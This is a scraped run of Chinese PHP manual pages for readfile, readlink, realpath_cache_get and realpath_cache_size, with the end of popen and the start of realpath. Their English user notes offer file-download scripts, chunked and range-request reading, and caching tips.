$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
nricciardi at mindspring dot com 08-Mar-2002 04:38
ive tried using popen using bidirectional pipes without working for obvious reasons, but i managed to create a simple script that managed to take care of the problem.  This example is for gpg encryption.

<?php
   $message = "this is the text to encrypt with gpg";
   $sendto = 'Dummy Key <another@fake.email>';

   system("mkfifo pipein");
   system("mkfifo pipeout");
   system("gpg --encrypt -a -r '$sendto' > pipeout < pipein &");
   $fo = fopen("pipeout", "r");
   $fi = fopen("pipein", "w");
   fwrite($fi, $message, strlen($message));
   fclose($fi);
   while (!feof($fo)) {
      $buf .= fread($fo, 1024);
   }
   echo $buf;
   unlink("pipein");
   unlink("pipeout");
?>

If anyone has a better way of doing this I would love to see it.


输出文件

  • ? popen
  • readlink ?
  • PHP Manual
  • 文件系统函数
  • 输出文件

readfile

(PHP 4, PHP 5, PHP 7, PHP 8)

readfile — 输出文件

说明

readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false

读取文件并写入到输出缓冲。

参数

filename

要读取的文件名。

use_include_path

想要在 include_path 中搜索文件，可使用这个可选的第二个参数，设为 true。

context

上下文流（context stream） resource。

返回值

成功时返回从文件中读入的字节数， 或者在失败时返回 false

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 使用 readfile() 强制下载

<?php
$file = 'monkey.gif';

if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
?>

以上示例的输出类似于：

打开 / 保存对话框

注释

Note:

readfile() 自身不会导致任何内存问题。 如果出现内存不足的错误，使用 ob_get_level() 确保输出缓存已经关闭。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参见

  • fpassthru() - 输出文件指针处的所有剩余数据
  • file() - 把整个文件读入一个数组中
  • fopen() - 打开文件或者 URL
  • include - include
  • require - require
  • virtual() - 执行 Apache 子请求
  • file_get_contents() - 将整个文件读入一个字符串
  • 支持的协议和封装协议

User Contributed Notes

jorensmerenjanu at gmail dot com 14-Jun-2021 08:31
For anyone having the problem of your html page being outputted in the downloaded file: call the functions ob_clean() and flush() before readfile()
simbiat at outlook dot com 15-Feb-2021 08:28
flobee.at.gmail.dot.com shared "readfile_chunked" function. It does work, but you may encounter memory exhaustion using "fread". Meanwhile "stream_copy_to_stream" seems to utilize the same amount of memory as "readfile". At least, when I was testing "download" function for my https://github.com/Simbiat/HTTP20 library on 1.5G file with 256M memory limitation that was the case: "fread" I got peak memory usage of ~240M, while with "stream_copy_to_stream" - ~150M.
It does not mean that you can fully escape memory exhaustion, though: if you are reading too much at a time, you can still encounter it. That is why in my library I use a helper function ("speedLimit") to calculate whether selected speed limit will fit the available memory (while allowing some headroom).
You can read comments in the code itself for more details and raise issues for the library, if you think something is incorrect there (especially since it's WIP at the moment of writing this), but so far I am able to get consistent behavior with it.
Anonymous 03-May-2019 11:35
To avoid errors,
just be careful whether slash "/" is allowed or not at the beginning of $file_name parameter.

In my case, trying to send PDF files thru PHP after access-logging,
the beginning "/" must be removed in PHP 7.1.
Paulinator 27-May-2018 09:45
Always using MIME-Type 'application/octet-stream' is not optimal. Most if not all browsers will simply download files with that type.

If you use proper MIME types (and inline Content-Disposition), browsers will have better default actions for some of them. Eg. in case of images, browsers will display them, which is probably what you'd want.

To deliver the file with the proper MIME type, the easiest way is to use:

header('Content-Type: ' . mime_content_type($file));
header('Content-Disposition: inline; filename="'.basename($file).'"');
anon 19-Nov-2016 02:30
In the C source, this function simply opens the path in read+binary mode, without a lock, and uses fpassthru()

If you need a locked read, use fopen(), flock(), and then fpassthru() directly.
Anonymous 18-Oct-2014 12:18
<form action = "open.php" method = "post" >
<input ="text" name ="brian" >
<input type = "submit" name = "download" value = "download">
</form>
<?php

if(isset($_POST['download']))
{
$img ='img';
$pic = '\marcus2';
$fad = 'pdf';

$file = $img.''. $pic .'.'. $fad;

echo $file;

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

}

?>
Brian 25-Feb-2014 01:01
If you are looking for an algorithm that will allow you to download (force download) a big file, may this one will help you.

$filename = "file.csv";
$filepath = "/path/to/file/" . $filename;

// Close sessions to prevent user from waiting until
// download will finish (uncomment if needed)
//session_write_close();

set_time_limit(0);
ignore_user_abort(false);
ini_set('output_buffering', 0);
ini_set('zlib.output_compression', 0);

$chunk = 10 * 1024 * 1024; // bytes per chunk (10 MB)

$fh = fopen($filepath, "rb");

if ($fh === false) {
    echo "Unable open file";
}

header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));

// Repeat reading until EOF
while (!feof($fh)) {
    echo fread($handle, $chunk);

    ob_flush();  // flush output
    flush();
}

exit;
riksoft at gmail dot com 21-Feb-2014 06:03
Just a note for those who face problems on names containing spaces (e.g. "test test.pdf").

In the examples (99% of the time) you can find
header('Content-Disposition: attachment; filename='.basename($file));

but the correct way to set the filename is quoting it (double quote):
header('Content-Disposition: attachment; filename="'.basename($file).'"' );

Some browsers may work without quotation, but for sure not Firefox and as Mozilla explains, the quotation of the filename in the content-disposition is according to the RFC
http://kb.mozillazine.org/Filenames_with_spaces_are_truncated_upon_download
kevin dot goodman at itmsoil dot com 01-Mar-2013 04:16
I wasted days trying to figure this out before I found the problem was easily solved.

I'm sure many of you out there have had similar problem when trying to use readfile to output images with a php file as the "src" of a "img" tag.
It works fine "as is" in Firefox but not in IE, Safari or g.Chrome.

I found hundreds of results on google all saying things like "there must be white space at the end of you code", "you need this header or that header".
I couldn't believe what the solution was but here it is anyway!

Remove the "Width" and "Height" attributes from your "img" tag
daren -remove-me- schwenke 05-May-2011 08:52
If you are lucky enough to not be on shared hosting and have apache, look at installing mod_xsendfile.
This was the only way I found to both protect and transfer very large files with PHP (gigabytes).
It's also proved to be much faster for basically any file.
Available directives have changed since the other note on this and XSendFileAllowAbove was replaced with XSendFilePath to allow more control over access to files outside of webroot.

Download the source.

Install with: apxs -cia mod_xsendfile.c

Add the appropriate configuration directives to your .htaccess or httpd.conf files:
# Turn it on
XSendFile on
# Whitelist a target directory.
XSendFilePath /tmp/blah

Then to use it in your script:
<?php
$file = '/tmp/blah/foo.iso';
$download_name = basename($file);
if (file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.$download_name);
    header('X-Sendfile: '.$file);
    exit;
}
?>
cOrti 31-Mar-2011 03:59
Hello,

Here's a simple trick for browsers (FF, IE) address spaces in filenames for Content-Disposition:

eg: <?php header ("Content-Disposition:attachment; filename=\"$filename\""); ?>

The \ "before and after the file name makes the difference.
Mike 04-Aug-2010 07:46
Beware of using download managers.. I was trying to use readfile in IE8 and kept getting the message "failed to get data for 'type'". Eventually figured out the problem was that I had LeechGet installed and it was intercepting the download, which in turn prevented the download from taking place.
Zambz 22-May-2010 06:33
If you are using the procedures outlined in this article to force sending a file to a user, you may find that the "Content-Length" header is not being sent on some servers.

The reason this occurs is because some servers are setup by default to enable gzip compression, which sends an additional header for such operations.  This additional header is "Transfer-Encoding: chunked" which essentially overrides the "Content-Length" header and forces a chunked download.  Of course, this is not required if you are using the intelligent versions of readfile in this article.

A missing Content-Length header implies the following:

1) Your browser will not show a progress bar on downloads because it doesn't know their length
2) If you output anything (e.g. white space) after the readfile function (by mistake), the browser will add that to the end of the download, resulting in corrupt data.

The easiest way to disable this behaviour is with the following .htaccess directive.

SetEnv no-gzip dont-vary
sakai at d4k dot net 23-Apr-2009 05:25
To reduce the burden on the server, you might want to output "Etag" and/or "Last-Modified" on http response header.  But there are some headers, which PHP itself outputs automatically, disturbing this.  So I wrote this function with erasing these.

If you guys know how to judge the return values of function "stat", in order to avoid using "is_file" or "is_readable" (or "is_dir"), please let me know or just write it here.

If you don't have to do anything special on 404, "header('HTTP/1.x xxx xxxxx');" can be inside of the function.

<?php

$filename = '/foo/bar/myfeed.rss';
$http_stat_code = readfile_if_modified($filename, array('Content-Type: text/xml'));
switch($http_stat_code) {
case 404:
    header('HTTP/1.0 404 Not Found');
    echo '<html><head></head><body><a href="http://example.com/">http://example.com/<a></body></html>';
    exit;
default:
    header('X-System-Url: http://example.com/', true, $http_stat_code);
}

function readfile_if_modified($filename, $http_header_additionals = array()) {

    if(!is_file($filename)) {
//      header('HTTP/1.0 404 Not Found');
        return 404;
    }

    if(!is_readable($filename)) {
//      header('HTTP/1.0 403 Forbidden');
        return 403;
    }

    $stat = @stat($filename);
    $etag = sprintf('%x-%x-%x', $stat['ino'], $stat['size'], $stat['mtime'] * 1000000);

    header('Expires: ');
    header('Cache-Control: ');
    header('Pragma: ');

    if(isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == $etag) {
        header('Etag: "' . $etag . '"');
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    } elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $stat['mtime']) {
        header('Last-Modified: ' . date('r', $stat['mtime']));
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    }

    header('Last-Modified: ' . date('r', $stat['mtime']));
    header('Etag: "' . $etag . '"');
    header('Accept-Ranges: bytes');
    header('Content-Length:' . $stat['size']);
    foreach($http_header_additionals as $header) {
        header($header);
    }

    if(@readfile($filename) === false) {
//      header('HTTP/1.0 500 Internal Server Error');
        return 500;
    } else {
//      header('HTTP/1.0 200 OK');
        return 200;
    }

}

?>
levhita at gmail dot com 21-Oct-2008 12:59
A note on the smartReadFile function from gaosipov:

Change the indexes on the preg_match matches to:

      $begin = intval($matches[1]);
      if( !empty($matches[2]) ) {
        $end = intval($matches[2]);
      }

Otherwise the $begin would be set to the entire section matched and the $end to what should be the begin.

See preg_match for more details on this.
gaosipov at gmail dot com 09-Oct-2008 02:08
Send file with HTTPRange support (partial download):

<?php
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
  { header ("HTTP/1.0 404 Not Found");
    return;
  }

  $size=filesize($location);
  $time=date('r',filemtime($location));

  $fm=@fopen($location,'rb');
  if(!$fm)
  { header ("HTTP/1.0 505 Internal server error");
    return;
  }

  $begin=0;
  $end=$size;

  if(isset($_SERVER['HTTP_RANGE']))
  { if(preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches))
    { $begin=intval($matches[0]);
      if(!empty($matches[1]))
        $end=intval($matches[1]);
    }
  }

  if($begin>0||$end<$size)
    header('HTTP/1.0 206 Partial Content');
  else
    header('HTTP/1.0 200 OK');

  header("Content-Type: $mimeType");
  header('Cache-Control: public, must-revalidate, max-age=0');
  header('Pragma: no-cache');
  header('Accept-Ranges: bytes');
  header('Content-Length:'.($end-$begin));
  header("Content-Range: bytes $begin-$end/$size");
  header("Content-Disposition: inline; filename=$filename");
  header("Content-Transfer-Encoding: binary\n");
  header("Last-Modified: $time");
  header('Connection: close');

  $cur=$begin;
  fseek($fm,$begin,0);

  while(!feof($fm)&&$cur<$end&&(connection_status()==0))
  { print fread($fm,min(1024*16,$end-$cur));
    $cur+=1024*16;
  }
}
?>

Usage:

<?php
smartReadFile("/tmp/filename","myfile.mp3","audio/mpeg")
?>

It can be slow for big files to read by fread, but this is a single way to read file in strict bounds. You can modify this and add fpassthru instead of fread and while, but it sends all data from begin --- it would be not fruitful if request is bytes from 100 to 200 from 100mb file.
johniskew 26-Sep-2008 12:17
@marks suggestion-

That is one way to do it, however this is avoidable.  For example in Zend Framework you could do

<?php

// Action controller
public function someAction() {

    $response = $this->_response;

    // Disable view and layout rendering
    $this->_helper->viewRenderer->setNoRender();
    $this->_helper->layout()->disableLayout();

    // Process the file
    $file = 'whatever.zip';
    $bits = @file_get_contents($file);
    if(strlen($bits) == 0) {
        $response->setBody('Sorry, we could not find requested download file.');
    }
    else {
        $response->setHeader('Content-type', 'application/octet-stream', true);
        $response->setBody($bits);
    }
}

?>
yura_imbp at mail dot ru 05-Jun-2008 09:46
if you need to limit download rate, use this code

<?php
$local_file = 'file.zip';
$download_file = 'name.zip';

// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;
if(file_exists($local_file) && is_file($local_file))
{
    header('Cache-control: private');
    header('Content-Type: application/octet-stream');
    header('Content-Length: '.filesize($local_file));
    header('Content-Disposition: filename='.$download_file);

    flush();
    $file = fopen($local_file, "r");
    while(!feof($file))
    {
        // send the current file part to the browser
        print fread($file, round($download_rate * 1024));
        // flush the content to the browser
        flush();
        // sleep one second
        sleep(1);
    }
    fclose($file);}
else {
    die('Error: The file '.$local_file.' does not exist!');
}

?>
marro at email dot cz 19-Mar-2008 11:17
My script working correctly on IE6 and Firefox 2 with any typ e of files (I hope :))

function DownloadFile($file) { // $file = include path
        if(file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename='.basename($file));
            header('Content-Transfer-Encoding: binary');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            ob_clean();
            flush();
            readfile($file);
            exit;
        }

    }

Run on Apache 2 (WIN32) PHP5
TimB 11-Feb-2008 02:23
To anyone that's had problems with Readfile() reading large files into memory the problem is not Readfile() itself, it's because you have output buffering on. Just turn off output buffering immediately before the call to Readfile(). Use something like ob_end_flush().
Hayley Watson 17-Oct-2007 09:27
To avoid the risk of choosing themselves which files to download by messing with the request and doing things like inserting "../" into the "filename", simply remember that URLs are not file paths, and there's no reason why the mapping between them has to be so literal as "download.php?file=thingy.mpg" resulting in the download of the file "thingy.mpg".

It's your script and you have full control over how it maps file requests to file names, and which requests retrieve which files.

But even then, as ever, never trust ANYTHING in the request. Basic first-day-at-school security principle, that.
Sinured 17-Jul-2007 06:00
In response to "grey - greywyvern - com":

If you know the target _can't_ be a remote file (e.g. prefixing it with a directory), you should use include instead.
If the user manages to set the target to some kinda config-file (configuration.php in Joomla!), he will get a blank page - unless readfile() is used. Using include will just behave as a normal request (no output).
For remote files however use readfile().
Kniht 07-Jul-2007 11:27
@Elliott Brueggeman
What's the point of a user's settings if not to determine their environment? If they have it set a specific way, honor their setting.
Elliott Brueggeman 25-Jun-2007 08:47
I have noticed some unusual behavior with Internet Explorer 6 that's worth taking note of. I have a link on my site to a script that outputs an XML file to the browser with the below code:

header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$filename.'"');
@readfile($file);

When the popular IE setting "Reuse Window for Launching Shortcuts" is unchecked (access this setting in the Tools Menu > Internet Options > Advanced Tab) this script will output the file to the browser and open it in a different window if the user clicks the open button on the IE prompt. However, if this setting is checked, and browser windows are being re-used, then it will open up on top of the page where the link was clicked to access the script.

If I instead set the html link target option to be "_blank", the script will open up in a new window as expected if the "Reuse Window for Launching Shortcuts" is checked. But, if the setting is unchecked, the output XML file will open up in a new window and there will be another blank window also open that has the address of the script, in addition to our original window.

This is far from ideal, and there is no way of knowing whether users have this option checked or not. We are stuck with the distinct possibility of half of our visitors seeing either an annoying third blank window being opened or the script writing over their original window, depending on their "Reuse Window for Launching Shortcuts" setting.
chad 0x40 herballure 0x2e com 17-May-2007 07:53
In reply to herbert dot fischer at NOSPAM dot gmail dot com:

The streams API in PHP5 tries to make things as efficient as possible; in php-5.1.6 on Linux, fpassthru is faster than 'echo fread($fp, 8192)' in a loop, and readfile is even faster for files on disk. I didn't benchmark further, but I'd be willing to bet non-mmap'able streams still win because they can loop in C instead of PHP.
mAu 10-Oct-2006 12:25
Instead of using
<?php
header('Content-Type: application/force-download');
?>
use
<?php
header('Content-Type: application/octet-stream');
?>
Some browsers have troubles with force-download.
peavey at pixelpickers dot com 20-Oct-2005 06:38
A mime-type-independent forced download can also be conducted by using:

<?
(...)
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // some day in the past
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Content-type: application/x-download");
header("Content-Disposition: attachment; filename={$new_name}");
header("Content-Transfer-Encoding: binary");
?>

Cheers,

Peavey
planetmaster at planetgac dot com 16-Oct-2005 11:44
Using pieces of the forced download script, adding in MySQL database functions, and hiding the file location for security was what we needed for downloading wmv files from our members creations without prompting Media player as well as secure the file itself and use only database queries. Something to the effect below, very customizable for private access, remote files, and keeping order of your online media.

<?
    # Protect Script against SQL-Injections
    $fileid=intval($_GET[id]);
    # setup SQL statement
    $sql = " SELECT id, fileurl, filename, filesize FROM ibf_movies WHERE id=' $fileid' ";

    # execute SQL statement
    $res = mysql_query($sql);

        # display results
        while ($row = mysql_fetch_array($res)) {
        $fileurl = $row['fileurl'];
        $filename= $row['filename'];
        $filesize= $row['filesize'];

           $file_extension = strtolower(substr(strrchr($filename,"."),1));

           switch ($file_extension) {
               case "wmv": $ctype="video/x-ms-wmv"; break;
               default: $ctype="application/force-download";
           }

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

           header("Pragma: public");
           header("Expires: 0");
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: video/x-ms-wmv");
           header("Content-Type: $ctype");
           header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
           header("Content-Transfer-Encoding: binary");
           header("Content-Length: ".@filesize($filename));
           set_time_limit(0);
           @readfile("$fileurl") or die("File not found.");

}

$donwloaded = "downloads + 1";

    if ($_GET["hit"]) {
        mysql_query("UPDATE ibf_movies SET downloads = $donwloaded WHERE id=' $fileid'");

}

?>

While at it I added into download.php a hit (download) counter. Of course you need to setup the DB, table, and columns. Email me for Full setup// Session marker is also a security/logging option
Used in the context of linking:
http://www.yourdomain.com/download.php?id=xx&hit=1

[Edited by sp@php.net: Added Protection against SQL-Injection]
antispam [at] rdx page [dot] com 20-Sep-2005 02:14
Just a note:  If you're using bw_mod (current version 0.6) to limit bandwidth in Apache 2, it *will not* limit bandwidth during readfile events.
23-Aug-2005 02:39
here is a nice force download scirpt

            $filename = 'dummy.zip';
            $filename = realpath($filename);

            $file_extension = strtolower(substr(strrchr($filename,"."),1));

            switch ($file_extension) {
                case "pdf": $ctype="application/pdf"; break;
                case "exe": $ctype="application/octet-stream"; break;
                case "zip": $ctype="application/zip"; break;
                case "doc": $ctype="application/msword"; break;
                case "xls": $ctype="application/vnd.ms-excel"; break;
                case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
                case "gif": $ctype="image/gif"; break;
                case "png": $ctype="image/png"; break;
                case "jpe": case "jpeg":
                case "jpg": $ctype="image/jpg"; break;
                default: $ctype="application/force-download";
            }

            if (!file_exists($filename)) {
                die("NO FILE HERE");
            }

            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Cache-Control: private",false);
            header("Content-Type: $ctype");
            header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: ".@filesize($filename));
            set_time_limit(0);
            @readfile("$filename") or die("File not found.");
chrisputnam at gmail dot com 29-Jun-2005 01:44
In response to flowbee@gmail.com --

When using the readfile_chunked function noted here with files larger than 10MB or so I am still having memory errors. It's because the writers have left out the all important flush() after each read. So this is the proper chunked readfile (which isn't really readfile at all, and should probably be crossposted to passthru(), fopen(), and popen() just so browsers can find this information):

<?php
function readfile_chunked($filename,$retbytes=true) {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false) {
       return false;
   }
   while (!feof($handle)) {
       $buffer = fread($handle, $chunksize);
       echo $buffer;
       ob_flush();
       flush();
       if ($retbytes) {
           $cnt += strlen($buffer);
       }
   }
       $status = fclose($handle);
   if ($retbytes && $status) {
       return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;

}
?>

All I've added is a flush(); after the echo line. Be sure to include this!
Philipp Heckel 10-May-2005 04:58
To use readfile() it is absolutely necessary to set the mime-type before. If you are using an Apache, it's quite simple to figure out the correct mime type. Apache has a file called "mime.types" which can (in normal case) be read by all users.

Use this (or another) function to get a list of mime-types:

<?php

    function mimeTypes($file) {
        if (!is_file($file) || !is_readable($file)) return false;
        $types = array();
        $fp = fopen($file,"r");
        while (false != ($line = fgets($fp,4096))) {
            if (!preg_match("/^\s*(?!#)\s*(\S+)\s+(?=\S)(.+)/",$line,$match)) continue;
            $tmp = preg_split("/\s/",trim($match[2]));
            foreach($tmp as $type) $types[strtolower($type)] = $match[1];
        }
        fclose ($fp);

        return $types;
    }

    # [...]

    # read the mime-types
    $mimes = mimeTypes('/usr/local/apache/current/conf/mime.types');

    # use them ($ext is the extension of your file)
    if (isset($mimes[$ext])) header("Content-Type: ".$mimes[$ext]);
    header("Content-Length: ".@filesize($fullpath));
    readfile($fullpath); exit;

?>

If you do not want to read from the mime.types file directly, you can of course make a copy in another folder!
Cheers Philipp Heckel
flobee at gmail dot com 06-May-2005 11:17
regarding php5:
i found out that there is already a disscussion @php-dev  about readfile() and fpassthru() where only exactly 2 MB will be delivered.

so you may use this on php5 to get lager files
<?php
function readfile_chunked($filename,$retbytes=true) {
    $chunksize = 1*(1024*1024); // how many bytes per chunk
    $buffer = '';
    $cnt =0;
    // $handle = fopen($filename, 'rb');
    $handle = fopen($filename, 'rb');
    if ($handle === false) {
        return false;
    }
    while (!feof($handle)) {
        $buffer = fread($handle, $chunksize);
        echo $buffer;
        if ($retbytes) {
            $cnt += strlen($buffer);
        }
    }
        $status = fclose($handle);
    if ($retbytes && $status) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;

}
?>
TheDayOfCondor 27-Apr-2005 06:24
I think that readfile suffers from the maximum script execution time. The readfile is always completed even if it exceed the default 30 seconds limit, then the script is aborted.
Be warned that you can get very odd behaviour not only on large files, but also on small files if the user has a slow connection.

The best thing to do is to use

<?
  set_time_limit(0);
?>

just before the readfile, to disable completely the watchdog if you intend to use the readfile call to tranfer a file to the user.
TheDayOfCondor 20-Apr-2005 09:10
Beware - the chunky readfile suggested by Rob Funk can easily exceed you maximum script execution time (30 seconds by default).

I suggest you to use the set_time_limit function inside the while loop to reset the php watchdog.
Thomas Jespersen 25-Oct-2004 06:06
Remember if you make a "force download" script like mentioned below that you SANITIZE YOUR INPUT!

I have seen a lot of  download scripts that does not test so you are able to download anything you want on the server.

Test especially for strings like ".." which makes directory traversal possible. If possible only permit characters a-z, A-Z and 0-9 and make it possible to only download from one "download-folder".


返回符号连接指向的目标

  • ? readfile
  • realpath_cache_get ?
  • PHP Manual
  • 文件系统函数
  • 返回符号连接指向的目标

readlink

(PHP 4, PHP 5, PHP 7, PHP 8)

readlink — 返回符号连接指向的目标

说明

readlink(string $path): string|false

readlink() 和同名的 C 函数做同样的事，返回符号连接的内容。

参数

path

链接符号的路径。

返回值

返回链接的路径内容，出错则返回 false。

Note: 如果 path 不是符号链接，则该函数将失败，但在 Windows 上除外，其中将返回规范化的路径。

示例

Example #1 readlink() 示例

<?php

// output e.g. /boot/vmlinux-2.4.20-xfs
echo readlink('/vmlinuz');

?>

参见

  • is_link() - 判断给定文件名是否为一个符号连接
  • symlink() - 建立符号连接
  • linkinfo() - 获取一个连接的信息

User Contributed Notes

casinero dot triste at OH_NO_SPAM dot gmail dot com 29-Jul-2017 08:40
A little function to readlink TO THE END:
(realpath can't do this if the symlink (ultimately) points to a non-existing path, since it just returns false in this case.)

function readlinkToEnd($linkFilename) {
  if(!is_link($linkFilename)) return $linkFilename;
  $final = $linkFilename;
  while(true) {
    $target = readlink($final);
    if(substr($target, 0, 1)=='/') $final = $target;
    else $final = dirname($final).'/'.$target;
    if(substr($final, 0, 2)=='./') $final = substr($final, 2);
    if(!is_link($final)) return $final;
  }
}
casinero dot triste at OH_NO_SPAM dot gmail dot com 29-Jul-2017 08:35
A little function to readlink TO THE END:
(realpath can't do this if the symlink (ultimately) points to a non-existing path, since it just returns false in this case.)

function readlinkToEnd($linkFilename) {
  if(!is_link($linkFilename)) return $linkFilename;
  $final = $linkFilename;
  while(true) {
    $target = readlink($final);
    if(substr($target, 0, 1)=='/') $final = $target;
    else $final = dirname($final).'/'.$target;
    if(substr($final, 0, 2)=='./') $final = substr($final, 2);
    if(!is_link($final)) return $final;
  }
}
ayon at hyurl dot com 09-Mar-2017 04:38
It is neccesary to be notified that readlink only works for a real link file, if this link file locates to a directory, you cannot detect and read its contents, the is_link() function will always return false and readlink() will display a warning is you try to do. Like the following codes:
<?php
//assume that A is a directory located in C:, B is a symlink to A, and A contents a file named C.
echo is_link('B/C'); //false
echo readlink('B/C'); //false and a warning will be displayed
//instead, you should use realpath() function to get the real path of C
echo realpath('B/C'); //C:\A\C
?>
MarkAndrewSlade at gmail dot com 10-Jun-2009 12:35
This will trigger a warning and return false if you pass it a non-symlink.  If the file doesn't exist, it will trigger a differently worded warning.

mslade@jupiter ~$ touch a
mslade@jupiter ~$ ln -s a b
mslade@jupiter ~$ ls -l {a,b}
-rw------- 1 mslade mslade 0 2009-06-10 15:27 a
lrwxrwxrwx 1 mslade mslade 1 2009-06-10 15:27 b -> a
mslade@jupiter ~$ php -r "var_dump(readlink('b'));"
string(1) "a"
mslade@jupiter ~$ php -r "var_dump(readlink('a'));"

Warning: readlink(): Invalid argument in Command line code on line 1
bool(false)
mslade@jupiter ~$ php -r "var_dump(readlink('c'));"

Warning: readlink(): No such file or directory in Command line code on line 1
bool(false)


获取真实目录缓存的详情

  • ? readlink
  • realpath_cache_size ?
  • PHP Manual
  • 文件系统函数
  • 获取真实目录缓存的详情

realpath_cache_get

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

realpath_cache_get — 获取真实目录缓存的详情

说明

realpath_cache_get(): array

获得真实路径缓存的详情。

参数

此函数没有参数。

返回值

返回真实路径缓存详情的数组。键是原始路径以及值为具体信息数组，含有该解析的路径，过期时间以及其他的更多选项。

示例

Example #1 realpath_cache_get() 示例

<?php
var_dump(realpath_cache_get());
?>

以上示例的输出类似于：

array(2) {
  ["/test"]=>
  array(4) {
    ["key"]=>
    int(123456789)
    ["is_dir"]=>
    bool(true)
    ["realpath"]=>
    string(5) "/test"
    ["expires"]=>
    int(1260318939)
  }
  ["/test/test.php"]=>
  array(4) {
    ["key"]=>
    int(987654321)
    ["is_dir"]=>
    bool(false)
    ["realpath"]=>
    string(12) "/root/test.php"
    ["expires"]=>
    int(1260318939)
  }
}

参见

  • realpath_cache_size() - 获取真实路径缓冲区的大小

User Contributed Notes

phil at code67 dot com 05-Oct-2015 10:10
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312


获取真实路径缓冲区的大小

  • ? realpath_cache_get
  • realpath ?
  • PHP Manual
  • 文件系统函数
  • 获取真实路径缓冲区的大小

realpath_cache_size

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

realpath_cache_size — 获取真实路径缓冲区的大小

说明

realpath_cache_size(): int

获取真实路径缓存区大小在内存中的使用量。

参数

此函数没有参数。

返回值

返回真实路径缓存区使用内存的用量。

示例

Example #1 realpath_cache_size() 示例

<?php
var_dump(realpath_cache_size());
?>

以上示例的输出类似于：

int(412)

参见

  • realpath_cache_get() - 获取真实目录缓存的详情
  • realpath_cache_size 方法的配置选项

User Contributed Notes

Anonymous 30-Jan-2015 08:07
Realpath_cache_size default parameter settings are too low (16k).
In the windows and Polish language assessed following be at least a 32k or 64k.
otherwise appache sometimes locks up (especially when using IE).
Stephen Pritchard from Arcanavision 13-Jan-2011 10:18
"realpath_cache_size" is used by PHP to cache the real file system paths of filenames referenced instead of looking them up each time.  Every time you perform any of the various file functions or include/require a file and use a relative path, PHP has to look up where that file really exists. PHP caches those values so it doesn't have to search the current working directory and include_path for the file you are working on.
If your website uses lots of relative path files, think about increasing this value.  What value is required can be better estimated after monitoring by how fast the cache fills using realpath_cache_size() after restarting. Its contents can be viewed using realpath_cache_get().
superaap at gmail dot com 05-Nov-2010 07:41
Note that the realpath cache is not used if either safe_mode is on or an open_basedir restriction is in effect.
This is having a huge performance effect, causing lots of calls to lstat.

A bugreport has already been filed at http://bugs.php.net/bug.php?id=52312


返回规范化的绝对路径名

  • ? realpath_cache_size
  • rename ?
  • PHP Manual
  • 文件系统函数
  • 返回规范化的绝对路径名

realpath

(PHP 4, PHP 5, PHP 7, PHP 8)

realpath — 返回规范化的绝对路径名

说明

realpath(string $path): string|false

realpath() 扩展所有符号连接，并处理输入 path 中的 /./、/../ 和多余的 /，并返回规范化的绝对路径名。

参数

path

要处理的路径。

Note:

虽然必须提供路径，但该值可以是一个空字符串。 在这种情况下，该值将被解释为当前目录。

返回值

成功时返回规范化的绝对路径名。返回的路径中没有符号连接（symbolic link）、/./ 或 /../ 成分。 例如 \ 和 / 这样的尾随分隔符也将被删除。

realpath() 失败时返回 false，例如文件不存在。

Note:

